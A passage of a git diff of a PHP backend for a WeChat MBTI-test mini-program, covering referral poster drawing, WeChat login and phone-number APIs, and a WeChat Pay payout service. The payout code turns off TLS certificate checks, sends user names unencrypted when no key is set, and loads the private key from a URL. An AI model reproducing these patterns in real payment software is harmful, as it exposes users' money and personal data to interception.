imagesavealpha($mask, true); + imagealphablending($mask, false); + imagefilledrectangle($mask, 0, 0, $w - 1, $h - 1, imagecolorallocatealpha($mask, 0, 0, 0, 127)); + imagealphablending($mask, true); + imagefilledellipse($mask, (int)($w / 2), (int)($h / 2), $w, $h, imagecolorallocate($mask, 255, 255, 255)); + + // 将 tmp 叠加到主图(遮罩内白外黑,白色表示保留区域) + for ($px = 0; $px < $w; $px++) { + for ($py = 0; $py < $h; $py++) { + $mPx = imagecolorat($mask, $px, $py); + $rMask = ($mPx >> 16) & 0xFF; + if ($rMask > 128) { + $srcPx = imagecolorat($tmp, $px, $py); + $r = ($srcPx >> 16) & 0xFF; + $g = ($srcPx >> 8) & 0xFF; + $b = $srcPx & 0xFF; + $c = imagecolorallocate($img, $r, $g, $b); + imagesetpixel($img, $x + $px, $y + $py, $c); + } + } + } + imagedestroy($tmp); + imagedestroy($mask); + } else { + imagecopyresampled($img, $src, $x, $y, 0, 0, $w, $h, $srcW, $srcH); + } + } + + /** + * 将颜色字符串解析为 RGB 数组 + * 支持 #fff、#ffffff、rgba(r,g,b,a)、rgb(r,g,b)、数组 [r,g,b] + */ + private static function parseColorToRgb($color): array + { + if (is_array($color)) { + $r = (int)($color['r'] ?? $color[0] ?? 51); + $g = (int)($color['g'] ?? $color[1] ?? 51); + $b = (int)($color['b'] ?? $color[2] ?? 51); + return [min(255, max(0, $r)), min(255, max(0, $g)), min(255, max(0, $b))]; + } + if (!is_string($color) && !is_scalar($color)) { + return [51, 51, 51]; + } + $s = trim((string)$color); + if ($s === '') { + return [51, 51, 51]; + } + // rgba(r,g,b,a) 或 rgb(r,g,b) + if (preg_match('/^rgba?\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)/i', $s, $m)) { + return [(int)min(255, $m[1]), (int)min(255, $m[2]), (int)min(255, $m[3])]; + } + // 仅保留 # 后合法十六进制字符 + $hex = preg_replace('/[^0-9a-fA-F]/', '', ltrim($s, '#')); + if (strlen($hex) === 3) { + $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2]; + } + if (strlen($hex) !== 6) { + return [51, 51, 51]; + } + $r = (int)hexdec(substr($hex, 0, 2)); + $g = (int)hexdec(substr($hex, 2, 2)); + $b = (int)hexdec(substr($hex, 4, 2)); + return [min(255, $r), min(255, $g), min(255, $b)]; + } + + private static function allocateHexColor($img, $hex): int + { + [$r, $g, $b] = self::parseColorToRgb($hex); + return imagecolorallocate($img, $r, $g, $b); + } + + /** + * 根据字体 key 获取字体文件路径;key 为空则返回第一个可用字体 + */ + private static function getFontPath(?string $fontKey = null): ?string + { + $base = root_path() . 'public/fonts/'; + + // 按 key 精确查找 + if ($fontKey) { + if (isset(self::FONT_MAP[$fontKey])) { + $p = $base . self::FONT_MAP[$fontKey][1]; + if (file_exists($p)) return $p; + } + // 兼容旧字体 key(如 simhei / msyh) + $legacy = $base . $fontKey . '.ttf'; + if (file_exists($legacy)) return $legacy; + } + + // 回退:按优先级返回第一个可用字体 + foreach (self::FONT_MAP as [$name, $file]) { + $p = $base . $file; + if (file_exists($p)) return $p; + } + $fallbacks = [$base . 'simhei.ttf', $base . 'msyh.ttf', '/usr/share/fonts/truetype/wqy/wqy-microhei.ttc']; + foreach ($fallbacks as $p) { + if (file_exists($p)) return $p; + } + return null; + } + + private static function drawText($img, int $x, int $y, string $text, int $color, int $size = 14): void + { + $font = self::getFontPath(); + if ($font && function_exists('imagettftext')) { + imagettftext($img, $size, 0, $x, $y + $size, $color, $font, $text); + } else { + $f = $size <= 12 ? 4 : 5; + imagestring($img, $f, $x, $y, preg_replace('/[^\x20-\x7e]/', '', $text) ?: $text, $color); + } + } + + /** + * 合成推广海报 PNG 二进制 + * @param array $user 当前用户 {id, nickname, avatar} + * @param string $qrBinary 小程序码 PNG 二进制 + * @param string|null $avatarBinary 头像二进制(已下载),为空则跳过 + */ + public static function build(array $user, string $qrBinary, ?string $avatarBinary = null): string + { + $w = self::WIDTH; + $h = self::HEIGHT; + $img = imagecreatetruecolor($w, $h); + if (!$img) { + throw new \RuntimeException('GD image create failed'); + } + imagesavealpha($img, true); + imagealphablending($img, true); + + self::drawGradient($img, 0, 0, $w, (int)($h * 0.45), [0xFF, 0xD1, 0xE3], [0xE9, 0xD5, 0xFF]); + $white = imagecolorallocate($img, 255, 255, 255); + imagefilledrectangle($img, 0, (int)($h * 0.4), $w, $h, $white); + + $primary = imagecolorallocate($img, 244, 63, 94); + $secondary = imagecolorallocate($img, 139, 92, 246); + $orange = imagecolorallocate($img, 249, 115, 22); + $dark = imagecolorallocate($img, 30, 41, 59); + $gray = imagecolorallocate($img, 100, 116, 139); + $lightGray = imagecolorallocate($img, 148, 163, 184); + $cx = (int)($w / 2); + + self::drawRoundedRect($img, 30, 50, 60, 20, 10, imagecolorallocatealpha($img, 255, 255, 255, 80)); + self::drawRoundedRect($img, 130, 50, 60, 20, 10, $primary); + self::drawText($img, 45, 52, '专业分析', $primary, 10); + self::drawText($img, 145, 52, '结果精准', $white, 10); + + self::drawText($img, $cx - 80, 100, 'MBTI 神仙测试', $dark, 22); + + self::drawRoundedRect($img, $cx - 80, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawRoundedRect($img, $cx + 5, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50)); + self::drawText($img, $cx - 70, 155, 'INTJ', $primary, 10); + self::drawText($img, $cx - 45, 155, '战略家', $gray, 10); + self::drawText($img, $cx + 15, 155, 'PDP', $secondary, 10); + self::drawText($img, $cx + 40, 155, '猫头鹰', $gray, 10); + + $gridY = 220; + $gridW = (int)(($w - 80) / 3); + self::drawStatCard($img, 30, $gridY, $gridW, 70, '100+', '性格档案', $primary); + self::drawStatCard($img, 30 + $gridW + 10, $gridY, $gridW, 70, '0%', '好友折扣', $secondary); + self::drawStatCard($img, 30 + ($gridW + 10) * 2, $gridY, $gridW, 70, '90%', '收益分红', $orange); + + $cardY = 320; + self::drawRoundedRect($img, 30, $cardY, $w - 60, 180, 20, $white); + imagefilledrectangle($img, 45, $cardY + 18, 49, $cardY + 34, $primary); + self::drawText($img, 55, $cardY + 15, '完整版性格深度解析', $dark, 12); + $bullets = [ + '你的决策风格在高压场景下会如何变化?', + '在团队中更适合担当怎样的关键角色?', + '哪些性格盲区最容易拖累你的发展?', + ]; + foreach ($bullets as $i => $t) { + self::drawText($img, 50, $cardY + 50 + $i * 28, '• ' . $t, $gray, 10); + } + + $recY = 530; + self::drawRoundedRect($img, $cx - 100, $recY, 200, 36, 18, imagecolorallocate($img, 248, 250, 252)); + if ($avatarBinary) { + $avatar = @imagecreatefromstring($avatarBinary); + if ($avatar) { + imagecopyresampled($img, $avatar, $cx - 92, $recY + 6, 0, 0, 24, 24, imagesx($avatar), imagesy($avatar)); + imagedestroy($avatar); + } + } + $nickname = mb_substr($user['nickname'] ?? '好友', 0, 8); + self::drawText($img, $cx - 95, $recY + 12, '由 ' . $nickname . ' 推荐给你', $gray, 10); + + $qrY = 620; + $qrImg = @imagecreatefromstring($qrBinary); + if ($qrImg) { + $qrSize = 88; + $qrX = $cx - (int)($qrSize / 2); + imagecopyresampled($img, $qrImg, $qrX, $qrY + 6, 0, 0, $qrSize, $qrSize, imagesx($qrImg), imagesy($qrImg)); + imagedestroy($qrImg); + } + self::drawText($img, $cx - 80, $qrY + 100, '扫码解锁完整报告', $lightGray, 10); + $inviteCode = 'MBTI-' . ($user['id'] ?? '888'); + self::drawText($img, $cx - 60, $qrY + 125, '邀请码 ' . $inviteCode, $primary, 11); + + ob_start(); + imagepng($img); + $png = ob_get_clean(); + imagedestroy($img); + return $png ?: ''; + } + + private static function drawGradient($img, $x, $y, $w, $h, array $from, array $to): void + { + for ($i = 0; $i < $h; $i++) { + $r = (int)($from[0] + ($to[0] - $from[0]) * $i / $h); + $g = (int)($from[1] + ($to[1] - $from[1]) * $i / $h); + $b = (int)($from[2] + ($to[2] - $from[2]) * $i / $h); + $c = imagecolorallocate($img, max(0, min(255, $r)), max(0, min(255, $g)), max(0, min(255, $b))); + imagefilledrectangle($img, $x, $y + $i, $x + $w - 1, $y + $i, $c); + } + } + + private static function drawRoundedRect($img, $x, $y, $w, $h, $r, $color): void + { + imagefilledrectangle($img, $x + $r, $y, $x + $w - $r - 1, $y + $h - 1, $color); + imagefilledrectangle($img, $x, $y + $r, $x + $w - 1, $y + $h - $r - 1, $color); + imagefilledellipse($img, $x + $r, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $r, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $r, $y + $h - $r - 1, $r * 2, $r * 2, $color); + imagefilledellipse($img, $x + $w - $r - 1, $y + $h - $r - 1, $r * 2, $r * 2, $color); + } + + private static function drawStatCard($img, $x, $y, $w, $h, string $val, string $label, int $color): void + { + $white = imagecolorallocate($img, 255, 255, 255); + self::drawRoundedRect($img, $x, $y, $w, $h, 15, $white); + $gray = imagecolorallocate($img, 148, 163, 184); + $lw = imagefontwidth(5) * strlen($val); + imagestring($img, 5, $x + ($w - $lw) / 2, $y + 20, $val, $color); + $lw2 = imagefontwidth(4) * strlen($label); + imagestring($img, 4, $x + ($w - $lw2) / 2, $y + 45, $label, $gray); + } + + /** + * 下载远程图片为二进制 + */ + public static function fetchImage(string $url): ?string + { + $url = str_replace('http://', 'https://', $url); + $ctx = stream_context_create(['http' => ['timeout' => 10]]); + $bin = @file_get_contents($url, false, $ctx); + return $bin !== false ? $bin : null; + } +} diff --git a/api/app/common/service/WechatService.php b/api/app/common/service/WechatService.php index 23b3435..dddf284 100644 --- a/api/app/common/service/WechatService.php +++ b/api/app/common/service/WechatService.php @@ -1,194 +1,194 @@ - $now + 300) { - return ['access_token' => self::$cachedAccessToken]; - } - $appId = config('wechat.app_id'); - $appSecret = config('wechat.app_secret'); - if (empty($appId) || empty($appSecret)) { - return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; - } - $url = self::$tokenUrl . '?' . http_build_query([ - 'grant_type' => 'client_credential', - 'appid' => $appId, - 'secret' => $appSecret, - ]); - $resp = @file_get_contents($url); - if ($resp === false) { - return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; - } - $data = json_decode($resp, true); - if (empty($data) || !is_array($data)) { - return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; - } - if (isset($data['errcode']) && $data['errcode'] !== 0) { - return [ - 'errcode' => (int) $data['errcode'], - 'errmsg' => $data['errmsg'] ?? 'unknown', - ]; - } - $token = $data['access_token'] ?? ''; - $expiresIn = (int) ($data['expires_in'] ?? 7200); - self::$cachedAccessToken = $token; - self::$cachedAccessTokenExpire = $now + $expiresIn; - return ['access_token' => $token]; - } - - /** - * 用 getPhoneNumber 回调里的 code 换取手机号 - * @param string $code 小程序 button open-type="getPhoneNumber" 回调中的 detail.code - * @return array{phoneNumber:string,purePhoneNumber:string,countryCode:string}|array{errcode:int,errmsg:string} - */ - public static function getPhoneNumber(string $code): array - { - $tokenResult = self::getAccessToken(); - if (isset($tokenResult['errcode'])) { - return $tokenResult; - } - $accessToken = $tokenResult['access_token']; - $url = self::$getPhoneNumberUrl . '?access_token=' . urlencode($accessToken); - $ctx = stream_context_create([ - 'http' => [ - 'method' => 'POST', - 'header' => 'Content-Type: application/json', - 'content' => json_encode(['code' => $code]), - ], - ]); - $resp = @file_get_contents($url, false, $ctx); - if ($resp === false) { - return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; - } - $data = json_decode($resp, true); - if (empty($data) || !is_array($data)) { - return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; - } - if (isset($data['errcode']) && $data['errcode'] !== 0) { - return [ - 'errcode' => (int) $data['errcode'], - 'errmsg' => $data['errmsg'] ?? 'unknown', - ]; - } - $phoneInfo = $data['phone_info'] ?? []; - $purePhoneNumber = $phoneInfo['purePhoneNumber'] ?? $phoneInfo['phoneNumber'] ?? ''; - $phoneNumber = $phoneInfo['phoneNumber'] ?? $purePhoneNumber; - $countryCode = $phoneInfo['countryCode'] ?? '86'; - return [ - 'phoneNumber' => $phoneNumber, - 'purePhoneNumber' => $purePhoneNumber, - 'countryCode' => $countryCode, - ]; - } - - /** - * code 换取 openid、session_key(及 unionid) - * @param string $code 小程序 wx.login 返回的 code - * @return array{openid:string,session_key:string,unionid?:string}|array{errcode:int,errmsg:string} - */ - public static function jscode2session(string $code): array - { - $appId = config('wechat.app_id'); - $appSecret = config('wechat.app_secret'); - if (empty($appId) || empty($appSecret)) { - return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; - } - - $url = self::$jscode2sessionUrl . '?' . http_build_query([ - 'appid' => $appId, - 'secret' => $appSecret, - 'js_code' => $code, - 'grant_type' => 'authorization_code', - ]); - - $resp = @file_get_contents($url); - if ($resp === false) { - return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; - } - - $data = json_decode($resp, true); - if (empty($data) || !is_array($data)) { - return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; - } - - if (isset($data['errcode']) && $data['errcode'] !== 0) { - return [ - 'errcode' => (int) $data['errcode'], - 'errmsg' => $data['errmsg'] ?? 'unknown', - ]; - } - - return [ - 'openid' => $data['openid'] ?? '', - 'session_key' => $data['session_key'] ?? '', - 'unionid' => $data['unionid'] ?? null, - ]; - } - - /** - * 生成带参数的小程序码(永久有效),返回原始二进制或错误信息 - * @param string $scene 最大 32 个可见字符,用于区分邀请人/渠道 - * @param string $page 小程序页面路径,如 pages/index/index - * @param int $width 小程序码宽度,默认 430 - * @return array{binary:string}|array{errcode:int,errmsg:string} - */ - public static function getWxacodeUnlimited(string $scene, string $page, int $width = 430): array - { - $tokenResult = self::getAccessToken(); - if (isset($tokenResult['errcode'])) { - return $tokenResult; - } - $accessToken = $tokenResult['access_token']; - $url = self::$getWxacodeUnlimitedUrl . '?access_token=' . urlencode($accessToken); - $payload = [ - 'scene' => mb_substr($scene, 0, 32), - 'page' => $page, - 'width' => $width, - 'check_path' => false, - ]; - $ctx = stream_context_create([ - 'http' => [ - 'method' => 'POST', - 'header' => 'Content-Type: application/json', - 'content' => json_encode($payload, JSON_UNESCAPED_UNICODE), - ], - ]); - $resp = @file_get_contents($url, false, $ctx); - if ($resp === false) { - return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; - } - // 微信错误时返回 JSON,成功时返回图片二进制 - $head = substr($resp, 0, 1); - if ($head === '{' || $head === '[') { - $data = json_decode($resp, true); - if (is_array($data) && isset($data['errcode']) && $data['errcode'] !== 0) { - return [ - 'errcode' => (int) $data['errcode'], - 'errmsg' => $data['errmsg'] ?? 'unknown', - ]; - } - } - return ['binary' => $resp]; - } -} + $now + 300) { + return ['access_token' => self::$cachedAccessToken]; + } + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + $url = self::$tokenUrl . '?' . http_build_query([ + 'grant_type' => 'client_credential', + 'appid' => $appId, + 'secret' => $appSecret, + ]); + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $token = $data['access_token'] ?? ''; + $expiresIn = (int) ($data['expires_in'] ?? 7200); + self::$cachedAccessToken = $token; + self::$cachedAccessTokenExpire = $now + $expiresIn; + return ['access_token' => $token]; + } + + /** + * 用 getPhoneNumber 回调里的 code 换取手机号 + * @param string $code 小程序 button open-type="getPhoneNumber" 回调中的 detail.code + * @return array{phoneNumber:string,purePhoneNumber:string,countryCode:string}|array{errcode:int,errmsg:string} + */ + public static function getPhoneNumber(string $code): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getPhoneNumberUrl . '?access_token=' . urlencode($accessToken); + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode(['code' => $code]), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $phoneInfo = $data['phone_info'] ?? []; + $purePhoneNumber = $phoneInfo['purePhoneNumber'] ?? $phoneInfo['phoneNumber'] ?? ''; + $phoneNumber = $phoneInfo['phoneNumber'] ?? $purePhoneNumber; + $countryCode = $phoneInfo['countryCode'] ?? '86'; + return [ + 'phoneNumber' => $phoneNumber, + 'purePhoneNumber' => $purePhoneNumber, + 'countryCode' => $countryCode, + ]; + } + + /** + * code 换取 openid、session_key(及 unionid) + * @param string $code 小程序 wx.login 返回的 code + * @return array{openid:string,session_key:string,unionid?:string}|array{errcode:int,errmsg:string} + */ + public static function jscode2session(string $code): array + { + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + + $url = self::$jscode2sessionUrl . '?' . http_build_query([ + 'appid' => $appId, + 'secret' => $appSecret, + 'js_code' => $code, + 'grant_type' => 'authorization_code', + ]); + + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + + return [ + 'openid' => $data['openid'] ?? '', + 'session_key' => $data['session_key'] ?? '', + 'unionid' => $data['unionid'] ?? null, + ]; + } + + /** + * 生成带参数的小程序码(永久有效),返回原始二进制或错误信息 + * @param string $scene 最大 32 个可见字符,用于区分邀请人/渠道 + * @param string $page 小程序页面路径,如 pages/index/index + * @param int $width 小程序码宽度,默认 430 + * @return array{binary:string}|array{errcode:int,errmsg:string} + */ + public static function getWxacodeUnlimited(string $scene, string $page, int $width = 430): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getWxacodeUnlimitedUrl . '?access_token=' . urlencode($accessToken); + $payload = [ + 'scene' => mb_substr($scene, 0, 32), + 'page' => $page, + 'width' => $width, + 'check_path' => false, + ]; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode($payload, JSON_UNESCAPED_UNICODE), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + // 微信错误时返回 JSON,成功时返回图片二进制 + $head = substr($resp, 0, 1); + if ($head === '{' || $head === '[') { + $data = json_decode($resp, true); + if (is_array($data) && isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + } + return ['binary' => $resp]; + } +} diff --git a/api/app/common/service/WechatTransferService.php b/api/app/common/service/WechatTransferService.php index a041d7f..a1b34de 100644 --- a/api/app/common/service/WechatTransferService.php +++ b/api/app/common/service/WechatTransferService.php @@ -1,495 +1,495 @@ -mchId = env('MCH_ID', ''); - $this->appId = env('WECHAT_APPID', ''); - $this->apiV3Key = env('API_KEY', ''); - $this->certSerialNo= env('CERT_SERIAL_NO', ''); - - if (!$this->mchId || !$this->appId || !$this->apiV3Key || !$this->certSerialNo) { - throw new Exception('微信转账配置不完整,请检查 .env 中的 MCH_ID / WECHAT_APPID / API_KEY / CERT_SERIAL_NO'); - } - - // 私钥:支持本地路径、URL 或直接内容 - $privateKeyConf = env('PRIVATE_KEY', ''); - if ($privateKeyConf) { - if (file_exists($privateKeyConf)) { - $this->privateKey = file_get_contents($privateKeyConf); - } elseif (filter_var($privateKeyConf, FILTER_VALIDATE_URL)) { - $this->privateKey = file_get_contents($privateKeyConf); - if ($this->privateKey === false) { - Log::error('无法从URL加载私钥', ['url' => $privateKeyConf]); - $this->privateKey = ''; - } - } else { - $this->privateKey = $privateKeyConf; - } - } - if (empty($this->privateKey)) { - throw new Exception('商户私钥加载失败,请检查 PRIVATE_KEY 配置'); - } - - // 公钥(可选):用于后续回调验签,支持本地路径、URL 或直接内容 - $publicKeyConf = env('WECHAT_PAY_PUB_KEY', ''); - $this->publicKey = ''; - if ($publicKeyConf) { - if (file_exists($publicKeyConf)) { - $this->publicKey = file_get_contents($publicKeyConf); - } elseif (filter_var($publicKeyConf, FILTER_VALIDATE_URL)) { - $this->publicKey = file_get_contents($publicKeyConf); - if ($this->publicKey === false) { - Log::error('无法从URL加载公钥', ['url' => $publicKeyConf]); - $this->publicKey = ''; - } - } else { - $this->publicKey = $publicKeyConf; - } - } - } - - /** - * 发起转账 - * @param array $params 转账参数 - * - out_bill_no: 商户单号(必填) - * - openid: 收款用户OpenID(必填) - * - transfer_amount: 转账金额,单位:分(必填) - * - transfer_remark: 转账备注(必填) - * - transfer_scene_id: 转账场景ID(必填,如:1000现金营销,1006企业报销) - * - user_name: 收款用户姓名(选填,>=2000元必填) - * - transfer_scene_report_infos: 转账场景报备信息(必填) - * - notify_url: 通知地址(选填) - * - user_recv_perception: 用户收款感知(选填) - * @return array - */ - public function createTransfer($params) - { - $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills'; - - // 构建请求体 - $body = [ - 'appid' => $this->appId, - 'out_bill_no' => $params['out_bill_no'], - 'transfer_scene_id' => $params['transfer_scene_id'], - 'openid' => $params['openid'], - 'transfer_amount' => intval($params['transfer_amount']), - 'transfer_remark' => $params['transfer_remark'], - // 场景报备信息(必填):岗位类型 + 报酬说明 - 'transfer_scene_report_infos' => $params['transfer_scene_report_infos'] ?? [], - ]; - - // 可选参数 - if (isset($params['user_name']) && !empty($params['user_name'])) { - // 需要加密 - $body['user_name'] = $this->encryptSensitiveData($params['user_name']); - } - - if (isset($params['notify_url']) && !empty($params['notify_url'])) { - $body['notify_url'] = $params['notify_url']; - } - - // user_recv_perception 暂不传,避免 INVALID_REQUEST:“暂不支持展示当前传入的用户收款感知” - - $result = $this->request('POST', $url, $body); - - return $result; - } - - /** - * 查询转账单(通过商户单号) - * @param string $outBillNo 商户单号 - * @return array - */ - public function queryByOutBillNo($outBillNo) - { - $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/' . $outBillNo; - return $this->request('GET', $url); - } - - /** - * 查询转账单(通过微信单号) - * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716457 - * @param string $transferBillNo 微信转账单号 - * @return array - */ - public function queryByTransferBillNo($transferBillNo) - { - $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/' . $transferBillNo; - return $this->request('GET', $url); - } - - /** - * 撤销转账 - * @param string $transferBillNo 微信转账单号 - * @return array - */ - public function cancelTransfer($transferBillNo) - { - $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/' . $transferBillNo . '/cancel'; - return $this->request('POST', $url); - } - - /** - * 发送HTTP请求 - * @param string $method 请求方法 - * @param string $url 请求URL - * @param array $body 请求体(POST时使用) - * @return array - */ - private function request($method, $url, $body = []) - { - $timestamp = time(); - $nonce = $this->generateNonce(); - $bodyStr = !empty($body) ? json_encode($body, JSON_UNESCAPED_UNICODE) : ''; - - // 构建签名 - $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $bodyStr); - - // 构建请求头 - $headers = [ - 'Content-Type: application/json', - 'Accept: application/json', - 'User-Agent: WechatPay-APIv3-PHP', - 'Authorization: ' . $this->buildAuthorization($method, $url, $timestamp, $nonce, $bodyStr), - ]; - - // 如果有证书序列号,添加到请求头 - if (!empty($this->certSerialNo)) { - $headers[] = 'Wechatpay-Serial: ' . $this->certSerialNo; - } - - // 发送请求 - $ch = curl_init(); - curl_setopt($ch, CURLOPT_URL, $url); - curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); - curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); - curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); - curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); - curl_setopt($ch, CURLOPT_TIMEOUT, 30); - - if ($method === 'POST') { - curl_setopt($ch, CURLOPT_POST, true); - curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); - } - - $response = curl_exec($ch); - $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); - $error = curl_error($ch); - curl_close($ch); - - if ($error) { - // 尝试写入日志,但不影响错误返回 - try { - Log::error('微信支付请求失败: ' . $error); - } catch (\Exception $e) { - // 日志写入失败不影响错误返回 - } - return ['success' => false, 'error' => ['code' => 'CURL_ERROR', 'message' => $error]]; - } - - $result = json_decode($response, true); - - if ($httpCode === 200) { - return ['success' => true, 'data' => $result]; - } else { - // 尝试写入日志,但不影响错误返回 - try { - Log::error('微信支付API错误: HTTP ' . $httpCode . ', Response: ' . $response); - } catch (\Exception $e) { - // 日志写入失败不影响错误返回 - } - return ['success' => false, 'http_code' => $httpCode, 'error' => $result]; - } - } - - /** - * 构建签名 - * @param string $method 请求方法 - * @param string $url 请求URL(不包含域名) - * @param int $timestamp 时间戳 - * @param string $nonce 随机字符串 - * @param string $body 请求体 - * @return string - */ - private function buildSignature($method, $url, $timestamp, $nonce, $body) - { - $urlParts = parse_url($url); - $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); - - $message = $method . "\n" . - $urlPath . "\n" . - $timestamp . "\n" . - $nonce . "\n" . - $body . "\n"; - - openssl_sign($message, $signature, $this->privateKey, OPENSSL_ALGO_SHA256); - return base64_encode($signature); - } - - /** - * 构建Authorization头 - * @param string $method - * @param string $url - * @param int $timestamp - * @param string $nonce - * @param string $body - * @return string - */ - private function buildAuthorization($method, $url, $timestamp, $nonce, $body) - { - $urlParts = parse_url($url); - $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); - - $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $body); - - // 获取证书序列号(从私钥中提取,这里简化处理,实际应该从证书中获取) - $serialNo = $this->certSerialNo ?: 'YOUR_CERT_SERIAL_NO'; - - return sprintf( - 'WECHATPAY2-SHA256-RSA2048 mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', - $this->mchId, - $nonce, - $timestamp, - $serialNo, - $signature - ); - } - - /** - * 加密敏感信息(使用微信支付公钥加密) - * @param string $data 待加密数据 - * @return string base64编码的加密数据 - */ - private function encryptSensitiveData($data) - { - // 注意:这里需要使用微信支付平台证书公钥加密 - // 简化实现,实际应该使用微信支付平台证书 - if (empty($this->publicKey)) { - // 如果没有配置公钥,返回原数据(实际生产环境必须加密) - Log::warning('未配置微信支付公钥,敏感数据未加密'); - return $data; - } - - $encrypted = ''; - if (openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_OAEP_PADDING)) { - return base64_encode($encrypted); - } - - Log::error('敏感数据加密失败'); - return $data; - } - - /** - * 生成随机字符串 - * @param int $length 长度 - * @return string - */ - private function generateNonce($length = 32) - { - return bin2hex(random_bytes($length / 2)); - } - - /** - * 验证回调签名 - * @param array $headers 请求头 - * @param string $body 请求体 - * @return bool - */ - public function verifyCallback($headers, $body) - { - if (empty($this->publicKey)) { - // 不记录日志,避免日志错误 - return false; - } - - // 从请求头中提取签名信息(注意:HTTP头中的下划线会被转换为中划线) - $signature = $headers['Wechatpay-Signature'] ?? $headers['wechatpay-signature'] ?? ''; - $timestamp = $headers['Wechatpay-Timestamp'] ?? $headers['wechatpay-timestamp'] ?? ''; - $nonce = $headers['Wechatpay-Nonce'] ?? $headers['wechatpay-nonce'] ?? ''; - $serial = $headers['Wechatpay-Serial'] ?? $headers['wechatpay-serial'] ?? ''; - - if (empty($signature) || empty($timestamp) || empty($nonce) || empty($serial)) { - // 不记录日志,避免日志错误 - return false; - } - - // 构建验证消息(按照微信支付文档格式) - $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n"; - - // 验证签名 - $signatureData = base64_decode($signature); - $result = openssl_verify($message, $signatureData, $this->publicKey, OPENSSL_ALGO_SHA256); - - if ($result === 1) { - return true; - } else { - // 不记录日志,避免日志错误 - return false; - } - } - - /** - * 解密回调通知中的resource数据 - * @param array $resource 回调通知中的resource对象 - * @return array|null 解密后的数据,失败返回null - */ - /** - * 解密回调报文(按照官方文档实现) - * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012071382 - * - * @param array $resource 加密的资源对象 - * @return array|null 解密后的数据 - */ - public function decryptCallbackResource($resource) - { - // 调试信息 - $debug = []; - $debug['step'] = '1.检查输入参数'; - - // 1. 检查必要参数 - if (empty($resource['ciphertext']) || empty($resource['nonce']) || !isset($resource['associated_data'])) { - $debug['error'] = '缺少必要参数'; - $debug['has_ciphertext'] = !empty($resource['ciphertext']); - $debug['has_nonce'] = 